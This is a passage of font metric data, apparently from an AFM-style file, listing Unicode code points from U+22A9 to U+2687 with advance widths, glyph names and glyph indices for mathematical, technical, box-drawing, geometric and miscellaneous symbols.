U 8873 ; WX 914 ; N uni22A9 ; G 3380
U 8874 ; WX 914 ; N uni22AA ; G 3381
U 8875 ; WX 914 ; N uni22AB ; G 3382
U 8876 ; WX 914 ; N uni22AC ; G 3383
U 8877 ; WX 914 ; N uni22AD ; G 3384
U 8878 ; WX 914 ; N uni22AE ; G 3385
U 8879 ; WX 914 ; N uni22AF ; G 3386
U 8880 ; WX 838 ; N uni22B0 ; G 3387
U 8881 ; WX 838 ; N uni22B1 ; G 3388
U 8882 ; WX 838 ; N uni22B2 ; G 3389
U 8883 ; WX 838 ; N uni22B3 ; G 3390
U 8884 ; WX 838 ; N uni22B4 ; G 3391
U 8885 ; WX 838 ; N uni22B5 ; G 3392
U 8886 ; WX 1000 ; N uni22B6 ; G 3393
U 8887 ; WX 1000 ; N uni22B7 ; G 3394
U 8888 ; WX 838 ; N uni22B8 ; G 3395
U 8889 ; WX 838 ; N uni22B9 ; G 3396
U 8890 ; WX 542 ; N uni22BA ; G 3397
U 8891 ; WX 812 ; N uni22BB ; G 3398
U 8892 ; WX 812 ; N uni22BC ; G 3399
U 8893 ; WX 812 ; N uni22BD ; G 3400
U 8894 ; WX 838 ; N uni22BE ; G 3401
U 8895 ; WX 838 ; N uni22BF ; G 3402
U 8896 ; WX 843 ; N uni22C0 ; G 3403
U 8897 ; WX 843 ; N uni22C1 ; G 3404
U 8898 ; WX 843 ; N uni22C2 ; G 3405
U 8899 ; WX 843 ; N uni22C3 ; G 3406
U 8900 ; WX 626 ; N uni22C4 ; G 3407
U 8901 ; WX 380 ; N dotmath ; G 3408
U 8902 ; WX 626 ; N uni22C6 ; G 3409
U 8903 ; WX 838 ; N uni22C7 ; G 3410
U 8904 ; WX 1000 ; N uni22C8 ; G 3411
U 8905 ; WX 1000 ; N uni22C9 ; G 3412
U 8906 ; WX 1000 ; N uni22CA ; G 3413
U 8907 ; WX 1000 ; N uni22CB ; G 3414
U 8908 ; WX 1000 ; N uni22CC ; G 3415
U 8909 ; WX 838 ; N uni22CD ; G 3416
U 8910 ; WX 812 ; N uni22CE ; G 3417
U 8911 ; WX 812 ; N uni22CF ; G 3418
U 8912 ; WX 838 ; N uni22D0 ; G 3419
U 8913 ; WX 838 ; N uni22D1 ; G 3420
U 8914 ; WX 838 ; N uni22D2 ; G 3421
U 8915 ; WX 838 ; N uni22D3 ; G 3422
U 8916 ; WX 838 ; N uni22D4 ; G 3423
U 8917 ; WX 838 ; N uni22D5 ; G 3424
U 8918 ; WX 838 ; N uni22D6 ; G 3425
U 8919 ; WX 838 ; N uni22D7 ; G 3426
U 8920 ; WX 1422 ; N uni22D8 ; G 3427
U 8921 ; WX 1422 ; N uni22D9 ; G 3428
U 8922 ; WX 838 ; N uni22DA ; G 3429
U 8923 ; WX 838 ; N uni22DB ; G 3430
U 8924 ; WX 838 ; N uni22DC ; G 3431
U 8925 ; WX 838 ; N uni22DD ; G 3432
U 8926 ; WX 838 ; N uni22DE ; G 3433
U 8927 ; WX 838 ; N uni22DF ; G 3434
U 8928 ; WX 838 ; N uni22E0 ; G 3435
U 8929 ; WX 838 ; N uni22E1 ; G 3436
U 8930 ; WX 838 ; N uni22E2 ; G 3437
U 8931 ; WX 838 ; N uni22E3 ; G 3438
U 8932 ; WX 838 ; N uni22E4 ; G 3439
U 8933 ; WX 838 ; N uni22E5 ; G 3440
U 8934 ; WX 838 ; N uni22E6 ; G 3441
U 8935 ; WX 838 ; N uni22E7 ; G 3442
U 8936 ; WX 838 ; N uni22E8 ; G 3443
U 8937 ; WX 838 ; N uni22E9 ; G 3444
U 8938 ; WX 838 ; N uni22EA ; G 3445
U 8939 ; WX 838 ; N uni22EB ; G 3446
U 8940 ; WX 838 ; N uni22EC ; G 3447
U 8941 ; WX 838 ; N uni22ED ; G 3448
U 8942 ; WX 1000 ; N uni22EE ; G 3449
U 8943 ; WX 1000 ; N uni22EF ; G 3450
U 8944 ; WX 1000 ; N uni22F0 ; G 3451
U 8945 ; WX 1000 ; N uni22F1 ; G 3452
U 8946 ; WX 1158 ; N uni22F2 ; G 3453
U 8947 ; WX 896 ; N uni22F3 ; G 3454
U 8948 ; WX 750 ; N uni22F4 ; G 3455
U 8949 ; WX 896 ; N uni22F5 ; G 3456
U 8950 ; WX 896 ; N uni22F6 ; G 3457
U 8951 ; WX 750 ; N uni22F7 ; G 3458
U 8952 ; WX 896 ; N uni22F8 ; G 3459
U 8953 ; WX 896 ; N uni22F9 ; G 3460
U 8954 ; WX 1158 ; N uni22FA ; G 3461
U 8955 ; WX 896 ; N uni22FB ; G 3462
U 8956 ; WX 750 ; N uni22FC ; G 3463
U 8957 ; WX 896 ; N uni22FD ; G 3464
U 8958 ; WX 750 ; N uni22FE ; G 3465
U 8959 ; WX 896 ; N uni22FF ; G 3466
U 8960 ; WX 602 ; N uni2300 ; G 3467
U 8961 ; WX 602 ; N uni2301 ; G 3468
U 8962 ; WX 716 ; N house ; G 3469
U 8963 ; WX 838 ; N uni2303 ; G 3470
U 8964 ; WX 838 ; N uni2304 ; G 3471
U 8965 ; WX 838 ; N uni2305 ; G 3472
U 8966 ; WX 838 ; N uni2306 ; G 3473
U 8967 ; WX 488 ; N uni2307 ; G 3474
U 8968 ; WX 457 ; N uni2308 ; G 3475
U 8969 ; WX 457 ; N uni2309 ; G 3476
U 8970 ; WX 457 ; N uni230A ; G 3477
U 8971 ; WX 457 ; N uni230B ; G 3478
U 8972 ; WX 809 ; N uni230C ; G 3479
U 8973 ; WX 809 ; N uni230D ; G 3480
U 8974 ; WX 809 ; N uni230E ; G 3481
U 8975 ; WX 809 ; N uni230F ; G 3482
U 8976 ; WX 838 ; N revlogicalnot ; G 3483
U 8977 ; WX 539 ; N uni2311 ; G 3484
U 8984 ; WX 928 ; N uni2318 ; G 3485
U 8985 ; WX 838 ; N uni2319 ; G 3486
U 8988 ; WX 469 ; N uni231C ; G 3487
U 8989 ; WX 469 ; N uni231D ; G 3488
U 8990 ; WX 469 ; N uni231E ; G 3489
U 8991 ; WX 469 ; N uni231F ; G 3490
U 8992 ; WX 610 ; N integraltp ; G 3491
U 8993 ; WX 610 ; N integralbt ; G 3492
U 8996 ; WX 1152 ; N uni2324 ; G 3493
U 8997 ; WX 1152 ; N uni2325 ; G 3494
U 8998 ; WX 1414 ; N uni2326 ; G 3495
U 8999 ; WX 1152 ; N uni2327 ; G 3496
U 9000 ; WX 1443 ; N uni2328 ; G 3497
U 9003 ; WX 1414 ; N uni232B ; G 3498
U 9004 ; WX 873 ; N uni232C ; G 3499
U 9075 ; WX 390 ; N uni2373 ; G 3500
U 9076 ; WX 716 ; N uni2374 ; G 3501
U 9077 ; WX 869 ; N uni2375 ; G 3502
U 9082 ; WX 687 ; N uni237A ; G 3503
U 9085 ; WX 863 ; N uni237D ; G 3504
U 9095 ; WX 1152 ; N uni2387 ; G 3505
U 9108 ; WX 873 ; N uni2394 ; G 3506
U 9115 ; WX 500 ; N uni239B ; G 3507
U 9116 ; WX 500 ; N uni239C ; G 3508
U 9117 ; WX 500 ; N uni239D ; G 3509
U 9118 ; WX 500 ; N uni239E ; G 3510
U 9119 ; WX 500 ; N uni239F ; G 3511
U 9120 ; WX 500 ; N uni23A0 ; G 3512
U 9121 ; WX 500 ; N uni23A1 ; G 3513
U 9122 ; WX 500 ; N uni23A2 ; G 3514
U 9123 ; WX 500 ; N uni23A3 ; G 3515
U 9124 ; WX 500 ; N uni23A4 ; G 3516
U 9125 ; WX 500 ; N uni23A5 ; G 3517
U 9126 ; WX 500 ; N uni23A6 ; G 3518
U 9127 ; WX 750 ; N uni23A7 ; G 3519
U 9128 ; WX 750 ; N uni23A8 ; G 3520
U 9129 ; WX 750 ; N uni23A9 ; G 3521
U 9130 ; WX 750 ; N uni23AA ; G 3522
U 9131 ; WX 750 ; N uni23AB ; G 3523
U 9132 ; WX 750 ; N uni23AC ; G 3524
U 9133 ; WX 750 ; N uni23AD ; G 3525
U 9134 ; WX 610 ; N uni23AE ; G 3526
U 9166 ; WX 838 ; N uni23CE ; G 3527
U 9167 ; WX 945 ; N uni23CF ; G 3528
U 9187 ; WX 873 ; N uni23E3 ; G 3529
U 9189 ; WX 769 ; N uni23E5 ; G 3530
U 9192 ; WX 696 ; N uni23E8 ; G 3531
U 9250 ; WX 716 ; N uni2422 ; G 3532
U 9251 ; WX 716 ; N uni2423 ; G 3533
U 9312 ; WX 847 ; N uni2460 ; G 3534
U 9313 ; WX 847 ; N uni2461 ; G 3535
U 9314 ; WX 847 ; N uni2462 ; G 3536
U 9315 ; WX 847 ; N uni2463 ; G 3537
U 9316 ; WX 847 ; N uni2464 ; G 3538
U 9317 ; WX 847 ; N uni2465 ; G 3539
U 9318 ; WX 847 ; N uni2466 ; G 3540
U 9319 ; WX 847 ; N uni2467 ; G 3541
U 9320 ; WX 847 ; N uni2468 ; G 3542
U 9321 ; WX 847 ; N uni2469 ; G 3543
U 9472 ; WX 602 ; N SF100000 ; G 3544
U 9473 ; WX 602 ; N uni2501 ; G 3545
U 9474 ; WX 602 ; N SF110000 ; G 3546
U 9475 ; WX 602 ; N uni2503 ; G 3547
U 9476 ; WX 602 ; N uni2504 ; G 3548
U 9477 ; WX 602 ; N uni2505 ; G 3549
U 9478 ; WX 602 ; N uni2506 ; G 3550
U 9479 ; WX 602 ; N uni2507 ; G 3551
U 9480 ; WX 602 ; N uni2508 ; G 3552
U 9481 ; WX 602 ; N uni2509 ; G 3553
U 9482 ; WX 602 ; N uni250A ; G 3554
U 9483 ; WX 602 ; N uni250B ; G 3555
U 9484 ; WX 602 ; N SF010000 ; G 3556
U 9485 ; WX 602 ; N uni250D ; G 3557
U 9486 ; WX 602 ; N uni250E ; G 3558
U 9487 ; WX 602 ; N uni250F ; G 3559
U 9488 ; WX 602 ; N SF030000 ; G 3560
U 9489 ; WX 602 ; N uni2511 ; G 3561
U 9490 ; WX 602 ; N uni2512 ; G 3562
U 9491 ; WX 602 ; N uni2513 ; G 3563
U 9492 ; WX 602 ; N SF020000 ; G 3564
U 9493 ; WX 602 ; N uni2515 ; G 3565
U 9494 ; WX 602 ; N uni2516 ; G 3566
U 9495 ; WX 602 ; N uni2517 ; G 3567
U 9496 ; WX 602 ; N SF040000 ; G 3568
U 9497 ; WX 602 ; N uni2519 ; G 3569
U 9498 ; WX 602 ; N uni251A ; G 3570
U 9499 ; WX 602 ; N uni251B ; G 3571
U 9500 ; WX 602 ; N SF080000 ; G 3572
U 9501 ; WX 602 ; N uni251D ; G 3573
U 9502 ; WX 602 ; N uni251E ; G 3574
U 9503 ; WX 602 ; N uni251F ; G 3575
U 9504 ; WX 602 ; N uni2520 ; G 3576
U 9505 ; WX 602 ; N uni2521 ; G 3577
U 9506 ; WX 602 ; N uni2522 ; G 3578
U 9507 ; WX 602 ; N uni2523 ; G 3579
U 9508 ; WX 602 ; N SF090000 ; G 3580
U 9509 ; WX 602 ; N uni2525 ; G 3581
U 9510 ; WX 602 ; N uni2526 ; G 3582
U 9511 ; WX 602 ; N uni2527 ; G 3583
U 9512 ; WX 602 ; N uni2528 ; G 3584
U 9513 ; WX 602 ; N uni2529 ; G 3585
U 9514 ; WX 602 ; N uni252A ; G 3586
U 9515 ; WX 602 ; N uni252B ; G 3587
U 9516 ; WX 602 ; N SF060000 ; G 3588
U 9517 ; WX 602 ; N uni252D ; G 3589
U 9518 ; WX 602 ; N uni252E ; G 3590
U 9519 ; WX 602 ; N uni252F ; G 3591
U 9520 ; WX 602 ; N uni2530 ; G 3592
U 9521 ; WX 602 ; N uni2531 ; G 3593
U 9522 ; WX 602 ; N uni2532 ; G 3594
U 9523 ; WX 602 ; N uni2533 ; G 3595
U 9524 ; WX 602 ; N SF070000 ; G 3596
U 9525 ; WX 602 ; N uni2535 ; G 3597
U 9526 ; WX 602 ; N uni2536 ; G 3598
U 9527 ; WX 602 ; N uni2537 ; G 3599
U 9528 ; WX 602 ; N uni2538 ; G 3600
U 9529 ; WX 602 ; N uni2539 ; G 3601
U 9530 ; WX 602 ; N uni253A ; G 3602
U 9531 ; WX 602 ; N uni253B ; G 3603
U 9532 ; WX 602 ; N SF050000 ; G 3604
U 9533 ; WX 602 ; N uni253D ; G 3605
U 9534 ; WX 602 ; N uni253E ; G 3606
U 9535 ; WX 602 ; N uni253F ; G 3607
U 9536 ; WX 602 ; N uni2540 ; G 3608
U 9537 ; WX 602 ; N uni2541 ; G 3609
U 9538 ; WX 602 ; N uni2542 ; G 3610
U 9539 ; WX 602 ; N uni2543 ; G 3611
U 9540 ; WX 602 ; N uni2544 ; G 3612
U 9541 ; WX 602 ; N uni2545 ; G 3613
U 9542 ; WX 602 ; N uni2546 ; G 3614
U 9543 ; WX 602 ; N uni2547 ; G 3615
U 9544 ; WX 602 ; N uni2548 ; G 3616
U 9545 ; WX 602 ; N uni2549 ; G 3617
U 9546 ; WX 602 ; N uni254A ; G 3618
U 9547 ; WX 602 ; N uni254B ; G 3619
U 9548 ; WX 602 ; N uni254C ; G 3620
U 9549 ; WX 602 ; N uni254D ; G 3621
U 9550 ; WX 602 ; N uni254E ; G 3622
U 9551 ; WX 602 ; N uni254F ; G 3623
U 9552 ; WX 602 ; N SF430000 ; G 3624
U 9553 ; WX 602 ; N SF240000 ; G 3625
U 9554 ; WX 602 ; N SF510000 ; G 3626
U 9555 ; WX 602 ; N SF520000 ; G 3627
U 9556 ; WX 602 ; N SF390000 ; G 3628
U 9557 ; WX 602 ; N SF220000 ; G 3629
U 9558 ; WX 602 ; N SF210000 ; G 3630
U 9559 ; WX 602 ; N SF250000 ; G 3631
U 9560 ; WX 602 ; N SF500000 ; G 3632
U 9561 ; WX 602 ; N SF490000 ; G 3633
U 9562 ; WX 602 ; N SF380000 ; G 3634
U 9563 ; WX 602 ; N SF280000 ; G 3635
U 9564 ; WX 602 ; N SF270000 ; G 3636
U 9565 ; WX 602 ; N SF260000 ; G 3637
U 9566 ; WX 602 ; N SF360000 ; G 3638
U 9567 ; WX 602 ; N SF370000 ; G 3639
U 9568 ; WX 602 ; N SF420000 ; G 3640
U 9569 ; WX 602 ; N SF190000 ; G 3641
U 9570 ; WX 602 ; N SF200000 ; G 3642
U 9571 ; WX 602 ; N SF230000 ; G 3643
U 9572 ; WX 602 ; N SF470000 ; G 3644
U 9573 ; WX 602 ; N SF480000 ; G 3645
U 9574 ; WX 602 ; N SF410000 ; G 3646
U 9575 ; WX 602 ; N SF450000 ; G 3647
U 9576 ; WX 602 ; N SF460000 ; G 3648
U 9577 ; WX 602 ; N SF400000 ; G 3649
U 9578 ; WX 602 ; N SF540000 ; G 3650
U 9579 ; WX 602 ; N SF530000 ; G 3651
U 9580 ; WX 602 ; N SF440000 ; G 3652
U 9581 ; WX 602 ; N uni256D ; G 3653
U 9582 ; WX 602 ; N uni256E ; G 3654
U 9583 ; WX 602 ; N uni256F ; G 3655
U 9584 ; WX 602 ; N uni2570 ; G 3656
U 9585 ; WX 602 ; N uni2571 ; G 3657
U 9586 ; WX 602 ; N uni2572 ; G 3658
U 9587 ; WX 602 ; N uni2573 ; G 3659
U 9588 ; WX 602 ; N uni2574 ; G 3660
U 9589 ; WX 602 ; N uni2575 ; G 3661
U 9590 ; WX 602 ; N uni2576 ; G 3662
U 9591 ; WX 602 ; N uni2577 ; G 3663
U 9592 ; WX 602 ; N uni2578 ; G 3664
U 9593 ; WX 602 ; N uni2579 ; G 3665
U 9594 ; WX 602 ; N uni257A ; G 3666
U 9595 ; WX 602 ; N uni257B ; G 3667
U 9596 ; WX 602 ; N uni257C ; G 3668
U 9597 ; WX 602 ; N uni257D ; G 3669
U 9598 ; WX 602 ; N uni257E ; G 3670
U 9599 ; WX 602 ; N uni257F ; G 3671
U 9600 ; WX 769 ; N upblock ; G 3672
U 9601 ; WX 769 ; N uni2581 ; G 3673
U 9602 ; WX 769 ; N uni2582 ; G 3674
U 9603 ; WX 769 ; N uni2583 ; G 3675
U 9604 ; WX 769 ; N dnblock ; G 3676
U 9605 ; WX 769 ; N uni2585 ; G 3677
U 9606 ; WX 769 ; N uni2586 ; G 3678
U 9607 ; WX 769 ; N uni2587 ; G 3679
U 9608 ; WX 769 ; N block ; G 3680
U 9609 ; WX 769 ; N uni2589 ; G 3681
U 9610 ; WX 769 ; N uni258A ; G 3682
U 9611 ; WX 769 ; N uni258B ; G 3683
U 9612 ; WX 769 ; N lfblock ; G 3684
U 9613 ; WX 769 ; N uni258D ; G 3685
U 9614 ; WX 769 ; N uni258E ; G 3686
U 9615 ; WX 769 ; N uni258F ; G 3687
U 9616 ; WX 769 ; N rtblock ; G 3688
U 9617 ; WX 769 ; N ltshade ; G 3689
U 9618 ; WX 769 ; N shade ; G 3690
U 9619 ; WX 769 ; N dkshade ; G 3691
U 9620 ; WX 769 ; N uni2594 ; G 3692
U 9621 ; WX 769 ; N uni2595 ; G 3693
U 9622 ; WX 769 ; N uni2596 ; G 3694
U 9623 ; WX 769 ; N uni2597 ; G 3695
U 9624 ; WX 769 ; N uni2598 ; G 3696
U 9625 ; WX 769 ; N uni2599 ; G 3697
U 9626 ; WX 769 ; N uni259A ; G 3698
U 9627 ; WX 769 ; N uni259B ; G 3699
U 9628 ; WX 769 ; N uni259C ; G 3700
U 9629 ; WX 769 ; N uni259D ; G 3701
U 9630 ; WX 769 ; N uni259E ; G 3702
U 9631 ; WX 769 ; N uni259F ; G 3703
U 9632 ; WX 945 ; N filledbox ; G 3704
U 9633 ; WX 945 ; N H22073 ; G 3705
U 9634 ; WX 945 ; N uni25A2 ; G 3706
U 9635 ; WX 945 ; N uni25A3 ; G 3707
U 9636 ; WX 945 ; N uni25A4 ; G 3708
U 9637 ; WX 945 ; N uni25A5 ; G 3709
U 9638 ; WX 945 ; N uni25A6 ; G 3710
U 9639 ; WX 945 ; N uni25A7 ; G 3711
U 9640 ; WX 945 ; N uni25A8 ; G 3712
U 9641 ; WX 945 ; N uni25A9 ; G 3713
U 9642 ; WX 678 ; N H18543 ; G 3714
U 9643 ; WX 678 ; N H18551 ; G 3715
U 9644 ; WX 945 ; N filledrect ; G 3716
U 9645 ; WX 945 ; N uni25AD ; G 3717
U 9646 ; WX 550 ; N uni25AE ; G 3718
U 9647 ; WX 550 ; N uni25AF ; G 3719
U 9648 ; WX 769 ; N uni25B0 ; G 3720
U 9649 ; WX 769 ; N uni25B1 ; G 3721
U 9650 ; WX 769 ; N triagup ; G 3722
U 9651 ; WX 769 ; N uni25B3 ; G 3723
U 9652 ; WX 502 ; N uni25B4 ; G 3724
U 9653 ; WX 502 ; N uni25B5 ; G 3725
U 9654 ; WX 769 ; N uni25B6 ; G 3726
U 9655 ; WX 769 ; N uni25B7 ; G 3727
U 9656 ; WX 502 ; N uni25B8 ; G 3728
U 9657 ; WX 502 ; N uni25B9 ; G 3729
U 9658 ; WX 769 ; N triagrt ; G 3730
U 9659 ; WX 769 ; N uni25BB ; G 3731
U 9660 ; WX 769 ; N triagdn ; G 3732
U 9661 ; WX 769 ; N uni25BD ; G 3733
U 9662 ; WX 502 ; N uni25BE ; G 3734
U 9663 ; WX 502 ; N uni25BF ; G 3735
U 9664 ; WX 769 ; N uni25C0 ; G 3736
U 9665 ; WX 769 ; N uni25C1 ; G 3737
U 9666 ; WX 502 ; N uni25C2 ; G 3738
U 9667 ; WX 502 ; N uni25C3 ; G 3739
U 9668 ; WX 769 ; N triaglf ; G 3740
U 9669 ; WX 769 ; N uni25C5 ; G 3741
U 9670 ; WX 769 ; N uni25C6 ; G 3742
U 9671 ; WX 769 ; N uni25C7 ; G 3743
U 9672 ; WX 769 ; N uni25C8 ; G 3744
U 9673 ; WX 873 ; N uni25C9 ; G 3745
U 9674 ; WX 494 ; N lozenge ; G 3746
U 9675 ; WX 873 ; N circle ; G 3747
U 9676 ; WX 873 ; N uni25CC ; G 3748
U 9677 ; WX 873 ; N uni25CD ; G 3749
U 9678 ; WX 873 ; N uni25CE ; G 3750
U 9679 ; WX 873 ; N H18533 ; G 3751
U 9680 ; WX 873 ; N uni25D0 ; G 3752
U 9681 ; WX 873 ; N uni25D1 ; G 3753
U 9682 ; WX 873 ; N uni25D2 ; G 3754
U 9683 ; WX 873 ; N uni25D3 ; G 3755
U 9684 ; WX 873 ; N uni25D4 ; G 3756
U 9685 ; WX 873 ; N uni25D5 ; G 3757
U 9686 ; WX 527 ; N uni25D6 ; G 3758
U 9687 ; WX 527 ; N uni25D7 ; G 3759
U 9688 ; WX 840 ; N invbullet ; G 3760
U 9689 ; WX 970 ; N invcircle ; G 3761
U 9690 ; WX 970 ; N uni25DA ; G 3762
U 9691 ; WX 970 ; N uni25DB ; G 3763
U 9692 ; WX 387 ; N uni25DC ; G 3764
U 9693 ; WX 387 ; N uni25DD ; G 3765
U 9694 ; WX 387 ; N uni25DE ; G 3766
U 9695 ; WX 387 ; N uni25DF ; G 3767
U 9696 ; WX 769 ; N uni25E0 ; G 3768
U 9697 ; WX 769 ; N uni25E1 ; G 3769
U 9698 ; WX 769 ; N uni25E2 ; G 3770
U 9699 ; WX 769 ; N uni25E3 ; G 3771
U 9700 ; WX 769 ; N uni25E4 ; G 3772
U 9701 ; WX 769 ; N uni25E5 ; G 3773
U 9702 ; WX 639 ; N openbullet ; G 3774
U 9703 ; WX 945 ; N uni25E7 ; G 3775
U 9704 ; WX 945 ; N uni25E8 ; G 3776
U 9705 ; WX 945 ; N uni25E9 ; G 3777
U 9706 ; WX 945 ; N uni25EA ; G 3778
U 9707 ; WX 945 ; N uni25EB ; G 3779
U 9708 ; WX 769 ; N uni25EC ; G 3780
U 9709 ; WX 769 ; N uni25ED ; G 3781
U 9710 ; WX 769 ; N uni25EE ; G 3782
U 9711 ; WX 1119 ; N uni25EF ; G 3783
U 9712 ; WX 945 ; N uni25F0 ; G 3784
U 9713 ; WX 945 ; N uni25F1 ; G 3785
U 9714 ; WX 945 ; N uni25F2 ; G 3786
U 9715 ; WX 945 ; N uni25F3 ; G 3787
U 9716 ; WX 873 ; N uni25F4 ; G 3788
U 9717 ; WX 873 ; N uni25F5 ; G 3789
U 9718 ; WX 873 ; N uni25F6 ; G 3790
U 9719 ; WX 873 ; N uni25F7 ; G 3791
U 9720 ; WX 769 ; N uni25F8 ; G 3792
U 9721 ; WX 769 ; N uni25F9 ; G 3793
U 9722 ; WX 769 ; N uni25FA ; G 3794
U 9723 ; WX 830 ; N uni25FB ; G 3795
U 9724 ; WX 830 ; N uni25FC ; G 3796
U 9725 ; WX 732 ; N uni25FD ; G 3797
U 9726 ; WX 732 ; N uni25FE ; G 3798
U 9727 ; WX 769 ; N uni25FF ; G 3799
U 9728 ; WX 896 ; N uni2600 ; G 3800
U 9729 ; WX 1000 ; N uni2601 ; G 3801
U 9730 ; WX 896 ; N uni2602 ; G 3802
U 9731 ; WX 896 ; N uni2603 ; G 3803
U 9732 ; WX 896 ; N uni2604 ; G 3804
U 9733 ; WX 896 ; N uni2605 ; G 3805
U 9734 ; WX 896 ; N uni2606 ; G 3806
U 9735 ; WX 573 ; N uni2607 ; G 3807
U 9736 ; WX 896 ; N uni2608 ; G 3808
U 9737 ; WX 896 ; N uni2609 ; G 3809
U 9738 ; WX 888 ; N uni260A ; G 3810
U 9739 ; WX 888 ; N uni260B ; G 3811
U 9740 ; WX 671 ; N uni260C ; G 3812
U 9741 ; WX 1013 ; N uni260D ; G 3813
U 9742 ; WX 1246 ; N uni260E ; G 3814
U 9743 ; WX 1250 ; N uni260F ; G 3815
U 9744 ; WX 896 ; N uni2610 ; G 3816
U 9745 ; WX 896 ; N uni2611 ; G 3817
U 9746 ; WX 896 ; N uni2612 ; G 3818
U 9747 ; WX 532 ; N uni2613 ; G 3819
U 9748 ; WX 896 ; N uni2614 ; G 3820
U 9749 ; WX 896 ; N uni2615 ; G 3821
U 9750 ; WX 896 ; N uni2616 ; G 3822
U 9751 ; WX 896 ; N uni2617 ; G 3823
U 9752 ; WX 896 ; N uni2618 ; G 3824
U 9753 ; WX 896 ; N uni2619 ; G 3825
U 9754 ; WX 896 ; N uni261A ; G 3826
U 9755 ; WX 896 ; N uni261B ; G 3827
U 9756 ; WX 896 ; N uni261C ; G 3828
U 9757 ; WX 609 ; N uni261D ; G 3829
U 9758 ; WX 896 ; N uni261E ; G 3830
U 9759 ; WX 609 ; N uni261F ; G 3831
U 9760 ; WX 896 ; N uni2620 ; G 3832
U 9761 ; WX 896 ; N uni2621 ; G 3833
U 9762 ; WX 896 ; N uni2622 ; G 3834
U 9763 ; WX 896 ; N uni2623 ; G 3835
U 9764 ; WX 669 ; N uni2624 ; G 3836
U 9765 ; WX 746 ; N uni2625 ; G 3837
U 9766 ; WX 649 ; N uni2626 ; G 3838
U 9767 ; WX 784 ; N uni2627 ; G 3839
U 9768 ; WX 545 ; N uni2628 ; G 3840
U 9769 ; WX 896 ; N uni2629 ; G 3841
U 9770 ; WX 896 ; N uni262A ; G 3842
U 9771 ; WX 896 ; N uni262B ; G 3843
U 9772 ; WX 710 ; N uni262C ; G 3844
U 9773 ; WX 896 ; N uni262D ; G 3845
U 9774 ; WX 896 ; N uni262E ; G 3846
U 9775 ; WX 896 ; N uni262F ; G 3847
U 9776 ; WX 896 ; N uni2630 ; G 3848
U 9777 ; WX 896 ; N uni2631 ; G 3849
U 9778 ; WX 896 ; N uni2632 ; G 3850
U 9779 ; WX 896 ; N uni2633 ; G 3851
U 9780 ; WX 896 ; N uni2634 ; G 3852
U 9781 ; WX 896 ; N uni2635 ; G 3853
U 9782 ; WX 896 ; N uni2636 ; G 3854
U 9783 ; WX 896 ; N uni2637 ; G 3855
U 9784 ; WX 896 ; N uni2638 ; G 3856
U 9785 ; WX 1042 ; N uni2639 ; G 3857
U 9786 ; WX 1042 ; N smileface ; G 3858
U 9787 ; WX 1042 ; N invsmileface ; G 3859
U 9788 ; WX 896 ; N sun ; G 3860
U 9789 ; WX 896 ; N uni263D ; G 3861
U 9790 ; WX 896 ; N uni263E ; G 3862
U 9791 ; WX 614 ; N uni263F ; G 3863
U 9792 ; WX 732 ; N female ; G 3864
U 9793 ; WX 732 ; N uni2641 ; G 3865
U 9794 ; WX 896 ; N male ; G 3866
U 9795 ; WX 896 ; N uni2643 ; G 3867
U 9796 ; WX 896 ; N uni2644 ; G 3868
U 9797 ; WX 896 ; N uni2645 ; G 3869
U 9798 ; WX 896 ; N uni2646 ; G 3870
U 9799 ; WX 896 ; N uni2647 ; G 3871
U 9800 ; WX 896 ; N uni2648 ; G 3872
U 9801 ; WX 896 ; N uni2649 ; G 3873
U 9802 ; WX 896 ; N uni264A ; G 3874
U 9803 ; WX 896 ; N uni264B ; G 3875
U 9804 ; WX 896 ; N uni264C ; G 3876
U 9805 ; WX 896 ; N uni264D ; G 3877
U 9806 ; WX 896 ; N uni264E ; G 3878
U 9807 ; WX 896 ; N uni264F ; G 3879
U 9808 ; WX 896 ; N uni2650 ; G 3880
U 9809 ; WX 896 ; N uni2651 ; G 3881
U 9810 ; WX 896 ; N uni2652 ; G 3882
U 9811 ; WX 896 ; N uni2653 ; G 3883
U 9812 ; WX 896 ; N uni2654 ; G 3884
U 9813 ; WX 896 ; N uni2655 ; G 3885
U 9814 ; WX 896 ; N uni2656 ; G 3886
U 9815 ; WX 896 ; N uni2657 ; G 3887
U 9816 ; WX 896 ; N uni2658 ; G 3888
U 9817 ; WX 896 ; N uni2659 ; G 3889
U 9818 ; WX 896 ; N uni265A ; G 3890
U 9819 ; WX 896 ; N uni265B ; G 3891
U 9820 ; WX 896 ; N uni265C ; G 3892
U 9821 ; WX 896 ; N uni265D ; G 3893
U 9822 ; WX 896 ; N uni265E ; G 3894
U 9823 ; WX 896 ; N uni265F ; G 3895
U 9824 ; WX 896 ; N spade ; G 3896
U 9825 ; WX 896 ; N uni2661 ; G 3897
U 9826 ; WX 896 ; N uni2662 ; G 3898
U 9827 ; WX 896 ; N club ; G 3899
U 9828 ; WX 896 ; N uni2664 ; G 3900
U 9829 ; WX 896 ; N heart ; G 3901
U 9830 ; WX 896 ; N diamond ; G 3902
U 9831 ; WX 896 ; N uni2667 ; G 3903
U 9832 ; WX 896 ; N uni2668 ; G 3904
U 9833 ; WX 472 ; N uni2669 ; G 3905
U 9834 ; WX 638 ; N musicalnote ; G 3906
U 9835 ; WX 896 ; N musicalnotedbl ; G 3907
U 9836 ; WX 896 ; N uni266C ; G 3908
U 9837 ; WX 472 ; N uni266D ; G 3909
U 9838 ; WX 357 ; N uni266E ; G 3910
U 9839 ; WX 484 ; N uni266F ; G 3911
U 9840 ; WX 748 ; N uni2670 ; G 3912
U 9841 ; WX 766 ; N uni2671 ; G 3913
U 9842 ; WX 896 ; N uni2672 ; G 3914
U 9843 ; WX 896 ; N uni2673 ; G 3915
U 9844 ; WX 896 ; N uni2674 ; G 3916
U 9845 ; WX 896 ; N uni2675 ; G 3917
U 9846 ; WX 896 ; N uni2676 ; G 3918
U 9847 ; WX 896 ; N uni2677 ; G 3919
U 9848 ; WX 896 ; N uni2678 ; G 3920
U 9849 ; WX 896 ; N uni2679 ; G 3921
U 9850 ; WX 896 ; N uni267A ; G 3922
U 9851 ; WX 896 ; N uni267B ; G 3923
U 9852 ; WX 896 ; N uni267C ; G 3924
U 9853 ; WX 896 ; N uni267D ; G 3925
U 9854 ; WX 896 ; N uni267E ; G 3926
U 9855 ; WX 896 ; N uni267F ; G 3927
U 9856 ; WX 869 ; N uni2680 ; G 3928
U 9857 ; WX 869 ; N uni2681 ; G 3929
U 9858 ; WX 869 ; N uni2682 ; G 3930
U 9859 ; WX 869 ; N uni2683 ; G 3931
U 9860 ; WX 869 ; N uni2684 ; G 3932
U 9861 ; WX 869 ; N uni2685 ; G 3933
U 9862 ; WX 896 ; N uni2686 ; G 3934
U 9863 ; WX 896 ; N uni2687 ; G 3935
